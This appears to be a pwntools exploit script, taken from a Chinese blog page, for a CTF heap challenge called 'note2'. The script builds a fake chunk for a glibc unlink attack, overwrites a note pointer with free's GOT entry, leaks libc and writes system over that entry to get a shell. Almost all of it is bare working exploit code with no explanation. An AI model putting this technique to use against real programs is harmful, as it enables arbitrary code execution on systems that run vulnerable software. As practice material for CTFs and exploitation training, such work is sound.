1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import* from LibcSearcher import *
p=process("./note2") context.log_level="debug" libc=ELF('./libc-2.23.so') elf=ELF('./note2') p.sendlineafter(' name:','sdf') p.sendlineafter('address:','asdf')
def add(size,content): p.sendlineafter('option--->>','1') p.sendlineafter('(less than 128)',str(size)) p.sendlineafter(' content:',content)
def show(index): p.recvuntil(">>") p.sendline("2") p.recvuntil(":") p.sendline(str(index))
def edit(index, choice, content): p.recvuntil(">>") p.sendline("3") p.recvuntil(":") p.sendline(str(index)) p.recvuntil("]") p.sendline(str(choice)) p.recvuntil(":") p.sendline(content)
def free(index): p.recvuntil(">>") p.sendline("4") p.recvuntil(":") p.sendline(str(index)) ''' io.recvuntil(":") io.sendline("/bin/sh") #name io.recvuntil(":") io.sendline("ddd") ''' ptr=0x602120 fd=ptr-0x18 bk=ptr-0x10
payload=b'\x00'*8+p64(0xa1)+p64(fd)+p64(bk) add(0x80,payload) add(0,'sadf') add(0x80,'bin/sh') free(1)
payload=p64(0)*2+p64(0xa0)+p64(0x90) add(0,payload)
free(2)
free_got=elf.got['free'] payload=b'a'*0x18+p64(free_got) edit(0,1,payload) gdb.attach(p) sleep(1) show(0) p.recvuntil('is ') addr=u64(p.recv(6).ljust(8,b'\x00')) base=addr-libc.sym['free'] system=base+libc.sym['system'] one=base+0xf02a4 edit(0,1,p64(system)) print(hex(addr))
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~